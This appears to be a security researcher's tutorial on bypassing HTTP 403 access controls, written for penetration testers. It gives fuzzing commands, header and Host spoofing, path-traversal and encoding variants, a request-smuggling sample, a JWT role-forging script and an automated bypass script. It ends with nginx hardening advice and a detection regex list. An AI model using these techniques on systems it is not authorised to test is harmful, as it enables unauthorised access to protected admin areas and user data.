Subtitle:
Byline:
By N0aziXss | Security Researcher | HackerOne & BugCrowd Validated
Introduction: Deep Dive into HTTP 403 🔐 What is Error 403?
403 Forbidden — The server understood the request but refuses to authorize it
🎯 Why 403 Matters:
· Indicator of sensitive endpoints · Gateway to access control logic · High potential for misconfiguration
⚠️ Ethical Disclaimer
This article is for:
✅ Authorized penetration testing
✅ Security professional education
✅ Application security improvement
Any unauthorized use is strictly prohibited.Phase 1: Analyzing and Understanding Error 403 Step 1.1: Types of 403 Responses
# Various 403 Response Types
403 Forbidden # General
403.1 - Execute Access Forbidden
403.2 - Read Access Forbidden
403.3 - Write Access Forbidden
403.4 - SSL Required
403.5 - SSL 128 Required
403.6 - IP Address Rejected
403.7 - Client Certificate Required
403.8 - Site Access Denied
403.9 - Too Many Users
403.10 - Invalid Configuration
403.11 - Password Change
403.12 - Mapper Denied Access
403.13 - Client Certificate Revoked
403.14 - Directory Listing Denied
403.15 - Client Access Licenses Exceeded
403.16 - Client Certificate Is Untrusted or Invalid
403.17 - Client Certificate Has Expired or Is Not Yet ValidStep 1.2: Response Header Analysis
# Complete 403 Response Analysis
$ curl -I https://target.com/admin/
HTTP/1.1 403 Forbidden
Server: nginx/1.18.0
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=blockPhase 2: Methodology for Identifying 403 Endpoints Step 2.1: Discovering Sensitive Endpoints
# Using specialized wordlists
$ ffuf -w /usr/share/wordlists/dirb/common.txt \
-u https://target.com/FUZZ \
-mc 403
# Parameter fuzzing
$ ffuf -w params.txt \
-u "https://target.com/api/v1/user?FUZZ=test" \
-mc 403
# Discovering hidden paths
$ gobuster dir -u https://target.com \
-w directory-list-2.3-medium.txt \
-x php,html,js \
-b 403Step 2.2: Access Control Structure Mapping
class AccessControlMapper:
def __init__(self, base_url):
self.base_url = base_url
self.endpoints = {
'admin': ['/admin', '/admin/', '/administrator'],
'api': ['/api', '/api/v1', '/api/v2'],
'config': ['/config', '/configuration', '/settings'],
'backup': ['/backup', '/backups', '/db_backup'],
'log': ['/logs', '/logging', '/error_log']
}
def test_endpoints(self):
results = {}
for category, paths in self.endpoints.items():
for path in paths:
url = f"{self.base_url}{path}"
response = self.make_request(url)
if response.status_code == 403:
results[url] = {
'status': 403,
'category': category,
'potential': 'HIGH'
}
return resultsPhase 3: 403 Bypass Techniques Step 3.1: HTTP Method Manipulation
# Testing different HTTP methods
GET /admin HTTP/1.1 # 403 Forbidden
POST /admin HTTP/1.1 # ?
PUT /admin HTTP/1.1 # ?
DELETE /admin HTTP/1.1 # ?
PATCH /admin HTTP/1.1 # ?
HEAD /admin HTTP/1.1 # ?
OPTIONS /admin HTTP/1.1 # Allowed methods info
TRACE /admin HTTP/1.1 # ?
CONNECT /admin HTTP/1.1 # ?Step 3.2: Header Manipulation
# Adding various headers
$ curl -H "X-Original-URL: /admin" \
-H "X-Rewrite-URL: /admin" \
-H "X-Forwarded-For: 127.0.0.1" \
https://target.com/
# Testing different User-Agents
$ curl -A "Googlebot/2.1" https://target.com/admin/
$ curl -A "Mozilla/5.0 (compatible; Bingbot/2.0)" https://target.com/admin/
# Referrer Spoofing
$ curl -H "Referer: https://target.com/" https://target.com/admin/
$ curl -H "Referer: https://google.com/" https://target.com/admin/Step 3.3: URL and Parameter Manipulation
# Various URL encoding techniques
/admin # Original
/Admin # Case change
/aDmIn # Mixed case
/%61%64%6d%69%6e # URL encoding
/%41%64%6d%69%6e # URL encoding with uppercase
/a.d.m.i.n # Adding dots
/a;d;m;i;n # Adding semicolons
/admin. # Adding trailing dot
/admin/ # Adding trailing slash
/admin..;/ # Path traversal
/admin/%2e%2e # Double encoding
//admin// # Double slashes
/./admin/./ # Adding dots
/admin.json # Changing extension
/admin.php # Changing to php
/admin.aspx # Changing to aspxStep 3.4: Alternative IPs and Hosts
# Host header manipulation
$ curl -H "Host: localhost" https://target.com/admin/
$ curl -H "Host: 127.0.0.1" https://target.com/admin/
$ curl -H "Host: target.com.admin" https://target.com/admin/
# Using different IP addresses
$ curl https://127.0.0.1/admin/ \
- resolve "target.com:443:127.0.0.1"
# IPv6
$ curl -H "Host: target.com" \
http://[::1]/admin/Phase 4: Advanced Techniques Step 4.1: HTTP Request Smuggling
# CL.TE Smuggling
POST /admin HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.comStep 4.2: Parameter Pollution
# Testing parameter pollution
GET /admin?user=admin&user=user HTTP/1.1
# Different parameter positions
GET /admin?redirect=/admin HTTP/1.1
GET /admin?next=/admin HTTP/1.1
GET /admin?url=/admin HTTP/1.1
GET /admin?path=/admin HTTP/1.1Step 4.3: JWT Manipulation
import jwt
def manipulate_jwt(token, new_role='admin'):
"""JWT manipulation for role escalation"""
try:
# Decode without verification
decoded = jwt.decode(token, options={"verify_signature": False})
# Modify role
decoded['role'] = new_role
decoded['is_admin'] = True
decoded['admin'] = True
# Create new token
new_token = jwt.encode(decoded, '', algorithm='HS256')
return new_token
except:
return NonePhase 5: Automation Tools Step 5.1: Automated 403 Testing Script
#!/usr/bin/env python3
import requests
from concurrent.futures import ThreadPoolExecutor
class Bypass403:
def __init__(self, url):
self.url = url
self.techniques = [
self.add_headers,
self.change_methods,
self.url_manipulation,
self.parameter_tampering
]
def test_bypass(self):
results = []
with ThreadPoolExecutor(max_workers=10) as executor:
for technique in self.techniques:
future = executor.submit(technique)
results.extend(future.result())
return [r for r in results if r['status'] != 403]
def add_headers(self):
headers_list = [
{'X-Forwarded-For': '127.0.0.1'},
{'X-Original-URL': self.url},
{'X-Rewrite-URL': self.url},
{'X-Forwarded-Host': 'localhost'},
{'X-Real-IP': '127.0.0.1'},
{'Referer': f'https://{self.url}/'},
{'User-Agent': 'Googlebot/2.1'},
]
return self.test_headers(headers_list)Step 5.2: Existing Tools
# 403-bypasser
$ git clone https://github.com/yunemse48/403bypasser
$ python3 403bypasser.py -u https://target.com/admin
# byp4xx
$ git clone https://github.com/lobuhi/byp4xx
$ bash byp4xx.sh https://target.com/admin
# Burp Suite Extension
# Autorize: Testing access to different endpointsPhase 6: Real-World Scenarios Scenario 1: Method Change Bypass
# Initial state
GET /api/admin/users HTTP/1.1
Host: target.com
Authorization: Bearer user_token
HTTP/1.1 403 Forbidden
# Method change
POST /api/admin/users HTTP/1.1
Host: target.com
Authorization: Bearer user_token
Content-Type: application/json
{}
HTTP/1.1 200 OK
[… User list …]Scenario 2: IP Spoofing Bypass
# Original configuration
location /admin/ {
allow 192.168.1.100;
deny all;
return 403;
}
# Bypass with
$ curl -H "X-Forwarded-For: 192.168.1.100" \
https://target.com/admin/Scenario 3: Path Traversal in 403
# Access denied
GET /protected/files/secret.txt HTTP/1.1
# Bypass with
GET /protected/files/../files/secret.txt HTTP/1.1
GET /protected/files/..%2ffiles/secret.txt HTTP/1.1
GET /protected/files/..;/files/secret.txt HTTP/1.1Phase 7: Testing and Validation Step 7.1: 403 Testing Checklist
checklist:
basic_tests:
- HTTP method change
- Adding trailing slash
- Removing trailing slash
- Case change
- URL encoding
- Double encoding
header_manipulation:
- X-Forwarded-For
- X-Real-IP
- X-Original-URL
- X-Rewrite-URL
- Referer
- User-Agent
- Host
path_manipulation:
- Adding dots
- Adding semicolons
- Path traversal
- Parameter pollution
- File extension changesStep 7.2: Report Generation
class ReportGenerator:
def generate_report(self, findings):
report = f"""
# 403 Bypass Testing Report
## Summary
- Total endpoints tested: {findings['total']}
- 403 responses found: {findings['403_count']}
- Successful bypasses: {findings['bypass_count']}
## Vulnerabilities Found
"""
for vuln in findings['vulnerabilities']:
report += f"""
### {vuln['endpoint']}
Status: {vuln['original_status']} → {vuln['bypass_status']}
Technique: {vuln['technique']}
Risk: {vuln['risk']}
Proof:
```http
{vuln['proof']}
```
Remediation:
{vuln['remediation']}
"""
return reportPhase 8: Defense and Hardening Step 8.1: Security Best Practices
# Secure Nginx configuration
location /admin/ {
# Multi-layer access control
satisfy all;
# IP Whitelisting
allow 192.168.1.0/24;
deny all;
# Basic Authentication
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
# Method restriction
limit_except GET POST {
deny all;
}
# Security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin" always;
# Comprehensive logging
access_log /var/log/nginx/admin_access.log;
error_log /var/log/nginx/admin_error.log;
}Step 8.2: Monitoring and Detection
# 403 bypass attempt detection system
class BypassDetector:
def __init__(self):
self.suspicious_patterns = [
r'/\.\./', # Path traversal
r'/%2e%2e', # Double encoding
r'X-Original-URL', # Header manipulation
r'Googlebot|Bingbot', # Bot impersonation
r'127\.0\.0\.1|localhost', # Localhost spoofing
]
def detect_bypass_attempt(self, request):
score = 0
for pattern in self.suspicious_patterns:
if re.search(pattern, request.path):
score += 10
if re.search(pattern, request.headers):
score += 10
if score > 20:
self.alert_security_team(request)
return True
return FalseConclusion: Turning Threats into Opportunities Key Takeaways:
1. Every 403 is an opportunity — indicates a sensitive endpoint 2. Implement multi-layer defense — single control is not enough 3. Continuous monitoring — quick detection of bypass attempts 4. Regular testing — test yourself before attackers do
Continuous Improvement Cycle: Discover 403 → Test bypass → Fix vulnerability → Monitor → Repeat
Final Message: In web security, Error 403 is not a wall; it's a gate whose lock we must properly secure. By understanding bypass methods, we can build better locks.
Call to Action:
Developers: Implement strict input validation Researchers: Always redact sensitive information in reports Organizations: Value ethical security research
About the Author
N0aziXss is an experienced security researcher specializing in web application security and bug bounty hunting, with multiple validated discoveries across various platforms.